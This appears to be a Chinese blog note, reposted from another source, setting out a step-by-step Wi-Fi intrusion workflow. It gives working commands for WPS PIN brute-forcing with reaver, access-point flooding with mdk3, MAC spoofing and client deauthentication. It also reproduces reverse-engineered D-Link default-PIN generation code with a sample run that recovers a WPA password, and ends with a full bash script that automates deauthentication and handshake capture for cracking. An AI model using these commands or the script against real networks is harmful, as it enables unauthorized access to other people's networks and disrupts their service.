wifi渗透流程整理笔记

最新推荐文章于 2024-05-09 18:15:00 发布

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最新推荐文章于 2024-05-09 18:15:00 发布

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分类专栏：笔记文章标签： wifi wi-fi 密码

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为了方便自己今后看，就拉过来了

0x00 流程图

0x01 获取bssid和essid

reference:
https://www.aircrack-ng.org/documentation.html

0x02 探测是否开启wps(Wi-Fi protected setup)

command: airodump-ng MB,wash -i mon0 -C

54e.:默认开启wps,54e:默认不开启
当我们为wifi设置了一个复杂的密码时,每次接入一个新的设备都要重复输入这个密码,过程略微繁琐,wps的出现就是为了解决这个问题.
它提供了一个8位纯数字的秘钥,认证成功即可连接wifi.
但是这8位数是分开认证的,先验证前4位,再验证5-7位,所以最多只需要爆破11000-1次即可成功.
少数路由器wps开启与否是由按钮控制,在能物理接触路由器的情况下,可以手动开启.

reference:
http://www.howtogeek.com/176124/wi-fi-protected-setup-wps-is-insecure-heres-why-you-should-disable-it/

0x03 探测pin

command:reaver -i mon0 -b ap_bssid -vv

一:ap denial service

当路由器不再响应的时候,可以用DoS攻击让ap拒绝服务,受害者重启路由.
常用的就是authentication flood attack,攻击者可以伪造源MAC地址(基于802.11的报文发送机制)发送authenticate到目标AP,重复发送这种请求,最终会耗尽AP内存导致拒绝服务.

command:mdk3 a mon0 -a bssid -c

reference:
https://www.sans.org/reading-room/whitepapers/wireless/80211-denial-service-attacks-mitigation-2108
http://tools.kali.org/wireless-attacks/mdk3
http://xiao106347.blog.163.com/blog/static/215992078201425920197

二:get password

reference:
http://tools.kali.org/wireless-attacks/reaver
http://null-byte.wonderhowto.com/how-to/hack-wpa-wifi-passwords-by-cracking-wps-pin-0132542/
https://www.pwnieexpress.com/blog/wps-cracking-with-reaver
http://lifehacker.com/5873407/how-to-crack-a-wi-fi-networks-wpa-password-with-reaver

0x04 利用算法漏洞直接获取pin

devttys0站长通过逆向D-link、belkin固件的wps pin生成算法,直接得到默认pin码.
以d-link为例,获取ap bssid,拆分后进行异或、与、移位等操作生成pin,伪c代码如下:

unsigned int generate_default_pin(char *buf)
{
    char *mac;
    char mac_address[32] = { 0 };
    unsigned int oui, nic, pin;

    /* Get a pointer to the WAN MAC address */
    mac = lockAndGetInfo_log()->wan_mac_address;

    /*
     * Create a local, NULL-terminated copy of the WAN MAC (simplified from
     * the original code's sprintf/memmove loop).
     */
    sprintf(mac_address, "%c%c%c%c%c%c%c%c%c%c%c%c", mac[0],
                                                     mac[1],
                                                     mac[2],
                                                     mac[3],
                                                     mac[4],
                                                     mac[5],
                                                     mac[6],
                                                     mac[7],
                                                     mac[8],
                                                     mac[9],
                                                     mac[10],
                                                     mac[11]);

    /*
     * Convert the OUI and NIC portions of the MAC address to integer values.
     * OUI is unused, just need the NIC.
     */
    sscanf(mac_address, "%06X%06X", &oui, &nic);

    /* Do some XOR munging of the NIC. */
    pin = (nic ^ 0x55AA55);
    pin = pin ^ (((pin & 0x0F) << 4) +
                 ((pin & 0x0F) << 8) +
                 ((pin & 0x0F) << 12) +
                 ((pin & 0x0F) << 16) +
                 ((pin & 0x0F) << 20));

    /*
     * The largest possible remainder for any value divided by 10,000,000
     * is 9,999,999 (7 digits). The smallest possible remainder is, obviously, 0.
     */
     pin = pin % 10000000;

    /* The pin needs to be at least 7 digits long */
    if(pin < 1000000)
    {
        /*
         * The largest possible remainder for any value divided by 9 is
         * 8; hence this adds at most 9,000,000 to the pin value, and at
         * least 1,000,000. This guarantees that the pin will be 7 digits
         * long, and also means that it won't start with a 0.
         */
        pin += ((pin % 9) * 1000000) + 1000000;
    }

    /*
     * The final 8 digit pin is the 7 digit value just computed, plus a
     * checksum digit. Note that in the disassembly, the wps_pin_checksum
     * function is inlined (it's just the standard WPS checksum implementation).
     */
    pin = ((pin * 10) + wps_pin_checksum(pin));

    sprintf(buf, "%08d", pin);
    return pin;
}

$ sudo airodump-ng mon0 -c 4

 CH  4 ][ Elapsed: 0 s ][ 2014-09-11 11:44 ][ fixed channel mon0: -1

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

C0:A0:BB:EF:B3:D6  -13   0        6        0    0   4  54e  WPA2 CCMP   PSK  dlink-B3D6

$ ./pingen C0:A0:BB:EF:B3:D7   # <--- WAN MAC is BSSID+1
Default Pin: 99767389

$ sudo reaver -i mon0 -b C0:A0:BB:EF:B3:D6 -c 4 -p 99767389

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

[+] Waiting for beacon from C0:A0:BB:EF:B3:D6
[+] Associated with C0:A0:BB:EF:B3:D6 (ESSID: dlink-B3D6)
[+] WPS PIN: '99767389'
[+] WPA PSK: 'hluig79268'
[+] AP SSID: 'dlink-B3D6'

reference:
http://www.devttys0.com/2014/10/reversing-d-links-wps-pin-algorithm/
http://www.devttys0.com/2015/04/reversing-belkins-wps-pin-algorithm/

0x05 密码相关app被共享

zke1ev3n大牛逆向了万能钥匙APP,发现发送的AP相关的信息经过了AES加密,私钥和IV都硬编码在程序中.设备指纹放在sign字段,经过md5(设备指纹信息+salt)加密,salt也硬编码在程序中,这部分信息当做签名来验证请求是否合法.
返回信息同样经过AES加密,用的相同的key和IV.
http://www.wifi4.cn实现了这个加密流程.

reference:
http://zke1ev3n.me/2016/04/06/WiFi%E4%B8%87%E8%83%BD%E9%92%A5%E5%8C%99%E6%8E%A5%E5%8F%A3%E5%8D%8F%E8%AE%AE%E7%A0%B4%E8%A7%A3/
https://github.com/Zke1ev3n/WiFiMaster/blob/master/WiFiMaster.py

0x06 mac白名单限制

mac address被烧录在网卡的EEPROM中,每次网卡初始化时会从EEPROM中读取mac地址并将其写入到一个缓冲区(win下是写到注册表)
发送报文时,相关api读取mac地址是从缓冲区中读取,而不是去EEPROM中.

command:

1.airodump-ng mon0 (获得已连接到AP的client bssid)
2.ifconfig wlan0 hw ether 00:01:02:03:04:05.

reference:
https://en.wikipedia.org/wiki/MAC_spoofing
https://collegetimes.co/change-mac-address/
http://xiao106347.blog.163.com/blog/static/21599207820131014101844104/

0x07 抓取握手包

1.airodump-ng -w /tmp/test.cap-c channelNum --bssid apmac mon0
2.deauth client

Wi-Fi deauthentication attack

IEEE 802.11协议中包含了deauthentication frame,用来中断server和client的认证.
攻击者只需知道client bssid,基于报文发送机制,伪造mac,可以在任何时间向AP发送deauthentication请求.
如果这个攻击是持续的,目标client会无法连接AP. 其实这个时候可以结合pineapple伪造AP准备嗅探了.

command: ‍‍aireplay-ng-0 攻击次数 -a apmac -c clientmac -x 发包速率 mon1

reference:
https://en.wikipedia.org/wiki/Wi-Fi_deauthentication_attack
https://www.sans.org/reading-room/whitepapers/wireless/80211-denial-service-attacks-mitigation-2108

3.get handshake

0x08 autoGetHandshakePackage Script

#!/bin/bash
# this script use auto get wifi handshake package
# os : debian
# date: 2016/11/08 14:05:05 CST


function onExit(){
    $(kill $$)
    ps xua | grep airodump-ng | awk '{print $2}' | xargs kill -9
    echo "[*] you hit ctrl+c or kill $$. now exiting...;" 
}

function helpDoc(){
    echo "#-------------------------------------------------------"
    echo "[+] usage:   ./autoGetHandshake.sh <interface> <ap_name>"
    echo "[-] example: ./autoGetHandshake.sh wlan0 tp_link1422"
    echo "[-]          ./autoGetHandshake.sh moresec tp_link1422"
    echo "[-] interface default choice first network card. set interface=\"moresec\""
    echo "#-------------------------------------------------------"
    exit 0
}

function setAirPath(){

    airmonPath=$(which airmon-ng)
    airodumpPath=$(which airodump-ng)
    aireplayPath=$(which aireplay-ng)
    aircrackPath=$(which aircrack-ng)
}

function deauthAttackAndGetHandshake(){

    (
        ${airodumpPath} wlan0mon --bssid $1 -c $2 -w pr0mise --output-format cap
    ) &

    sleep 30

    for ((i=0;i<3;i++))
    do
        ${aireplayPath} -0 5 -a $1 wlan0mon
        sleep 3

    done
    currentBssid=$1
    #return

}


#-----------------------------------------------------------

trap onExit SIGQUIT INT

verifySourcePackgeExist="wireless"
airmonPath=""
aireplayPath=""
airodumpPath=""
aircrackPath=""

case $1 in 

    ""|h*|-h*|--help ) 
        helpDoc;;
        #break;;
esac
if [ -z $2 ]; then helpDoc ; fi


if [ ! -e $(which aircrack-ng) ]
then
    echo "[+] file not exist"
    verifySourcePackgeExist=$(apt-cache search aircrack-ng | head -n 1 | grep $verifySourcePackgeExist)
    echo "[-] "$verifySourcePackgeExist

    if [ -z "$verifySourcePackgeExist" ]
    then 
        echo "deb http://mirrors.aliyun.com/kali sana main non-free contrib" | tee /etc/apt/sources.list
        echo "deb http://mirrors.aliyun.com/kali-security/ sana/updates main contrib non-free" | tee /etc/apt/sources.list
        echo "deb-src http://mirrors.aliyun.com/kali-security/ sana/updates main contrib non-free" | tee /etc/apt/sources.list
        echo "[-] aliyun mirror into /etc/apt/sources."
        apt-get update

    fi
    apt-get install -y aircrack-ng
    updatedb
else 
    echo "[+] aircrack-ng already exist"
fi

setAirPath

#-----------------------------------------------------------

if [[ -z $(ifconfig|grep wlan0mon) ]]
then

    #default choice first net card
    if [[ "$1" = "moresec" ]]
    then
        interfaceName=$(cat /proc/net/wireless | awk 'NR==3 {if(/:/)gsub(/:/,""); print $1}')
        if [ -z $interfaceName ]
        then
            echo "[+] wireless not found. please try exec (/etc/init.d/networking restart && /etc/init.d/network-manager restart)"
            echo "[+] if the solution is not beautiful...maybe... reboot?"
            exit 0 
        fi

    else
        interfaceName=$1
    fi


    echo "[*] interface name is $interfaceName"

    ${airmonPath} check kill
    echo "[*] exec(airmon check kill)"

    ${airmonPath} start $interfaceName
    echo "[+] wireless net card ($interfaceName) state is LISTENING"

else
    echo "[+] wlan0mon already EASTABLISHED"    
fi

#-----------------------------------------------------------


apName=$2

(
    (
        ${airodumpPath} wlan0mon -w temp --output-format csv
    ) &

    sleep 10
    ps xua | grep airodump-ng | awk '{print $2}' | xargs kill 

)

echo "[+] kill airodump-ng process successful"

#-----------------------------------------------------------

# get bssid and channel

# gsub/grep/sub  etc.
# test=" moresec"
# gsub(/\s/,"",$test) => "moreec"  
# eliminate 's' and ' ' character. yikesaiting
# multiple escape. 
# so . correct : gsub(/\\s/,"",$test) => "moresec"


bssid=""
channel=0

verifyCsvExistApName=$(awk -F ',' '{print $14}' temp*.csv |awk '{gsub(/\\s/,"");print $1}' | grep ${apName}|wc -l)
echo $verifyCsvExistApName


if [[ verifyCsvExistApName -ge 1 ]]
then

    echo "[+] get bssid,channel"
    deauthAttackAndGetHandshake $(awk -F ',' '{sub(/^ /,"",$14);if($14=="'${apName}'") print $1,$4}' temp*.csv)
    #if($14=="${apName}") -> awk parse -> if($14=="")
    ps xua | grep airodump-ng | awk '{print $2}' | xargs kill -9


else
    echo "[+] ap_name not found. please recapture handshake package"
    exit 0
fi


#-----------------------------------------------------------

rm temp*.csv
mv pr0mise*.cap ${apName}_${currentBssid}.cap
${aircrackPath} ${apName}_${currentBssid}.cap -J ${apName}_${currentBssid}

clear
echo "[+] over. good luck."

exit 0